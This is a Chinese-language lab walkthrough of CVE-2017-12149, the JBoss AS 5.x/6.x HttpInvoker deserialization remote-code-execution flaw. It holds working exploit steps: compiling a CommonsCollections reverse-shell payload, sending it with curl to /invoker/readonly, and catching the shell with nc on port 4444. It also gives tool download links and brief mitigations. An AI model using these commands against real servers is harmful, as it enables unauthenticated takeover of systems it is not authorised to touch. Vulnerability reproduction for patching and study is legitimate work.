CVE-2017-12149 JBOOS AS 6.X 反序列化漏洞利用html
此次分析一下 CVE-2017-12149 ,漏洞已經爆出有幾天了,今天就把這個漏洞看一下。java
安全預警web
漏洞描述
shell
近期,互聯網爆出JBOSSApplication Server反序列化命令執行漏洞(CVE-2017-12149),遠程攻擊者利用漏洞可在未經任何身份驗證的服務器主機上執行任意代碼。漏洞細節和驗證代碼已公開,近期被不法分子利用出現大規模攻擊嘗試的可能性較大。漏洞危害程度爲高危(High)。
瀏覽器
影響範圍
安全
漏洞影響5.x和6.x版本的JBOSSAS。目前評估潛在受影響主機數量超過5000臺
服務器
漏洞原理
curl
JBOSS Application Server是一個基於J2EE的開放源代碼的應用服務器。 JBoss代碼遵循LGPL許可,能夠在任何商業應用中無償使用,2006年,JBoss被Redhat公司收購。工具
2017年8月30日,廠商Redhat發佈了一個JBOSSAS 5.x 的反序列化遠程代碼執行漏洞通告。該漏洞位於JBoss的HttpInvoker組件中的 ReadOnlyAccessFilter 過濾器中,其doFilter方法在沒有進行任何安全檢查和限制的狀況下嘗試未來自客戶端的序列化數據流進行反序列化,致使攻擊者能夠經過精心設計的序列化數據來執行任意代碼。但近期有安全研究者發現JBOSSAS 6.x也受該漏洞影響,攻擊者利用該漏洞無需用戶驗證在系統上執行任意命令,得到服務器的控制權。url
漏洞復現
環境搭建:
首先進行搭建環境,這裏我是用個人電腦本機和虛擬機 kali 進行的,固然你也有其餘的選擇。
準備階段:
kali : 192.168.1.105
win7 : 192.168.1.121 (安裝了 java 環境)
(1)從官網下載 jboss 安裝包( http://jbossas.jboss.org/downloads/ ),此漏洞影響 5.X 及 6.X,因此我下載的是 JBoss AS6.1.0.Final 這個版本(文末有分享)
(2)解壓壓縮包,cmd 進入 \jboss-6.1.0.Final\bin 目錄下
(3)在 cmd 中執行 run.bat -b 0.0.0.0
(4)如圖中所示即爲運行成功
(5) jboss 默認安裝端口爲 8080,在瀏覽器中訪問結果以下圖所示
(6) 如上圖所示,即安裝成功。
漏洞利用:
首先檢測目錄,訪問連接(http://192.168.1.121:8080/invoker/readonly)
能夠看到是返回 500,通常漏洞就是存在了。
下載利用工具:JavaDeserH2HC(http://scan.javasec.cn/java/JavaDeserH2HC.zip)
把上面下載到的工具複製到 kali 裏面,解壓便可。
接下來輸入命令:
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port //反彈shell的IP和端口
這裏我寫下個人,下面截圖也是能夠看到的。
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168.1.105:4444(IP是kali的ip,4444是下面要監聽的端口,這裏寫哪一個端口下面就要監聽哪一個端口)
這個時候會同目錄下生成一個ReverseShellCommonsCollectionsHashMap.ser文件,curl 這個二進制文件就能夠了。
curl http://192.168.1.121:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
下面就是監聽和發送 payload
用 nc 監聽端口:
nc -vlp 4444
直接在 kali 打開個新的終端監聽便可。
發送payload:
反彈shell
利用工具下載:
下載地址:(http://scan.javasec.cn/java/jboss_CVE-2017-12149.zip)
漏洞建議:
建議用戶升級到JBOSS AS7。另,不能及時升級的用戶,可採起以下臨時解決方案:
1. 不須要 http-invoker.sar 組件的用戶可直接刪除此組件。
2. 添加以下代碼至 http-invoker.sar 下 web.xml 的 security-constraint 標籤中:<url-pattern>/*</url-pattern>
用於對 http invoker 組件進行訪問控制。
JavaDeserH2HC : (連接: https://pan.baidu.com/s/1bpo9qIN 密碼: h3pw)
JBoss AS6.1.0.Final :(連接: https://pan.baidu.com/s/1o7XXI7g 密碼: rng2)
jboss_CVE-2017-12149:(連接: https://pan.baidu.com/s/1hrUMkAg 密碼: 5n54)
本文連接(http://www.cnblogs.com/Oran9e/p/7897102.html),轉載請註明。
任重而道遠!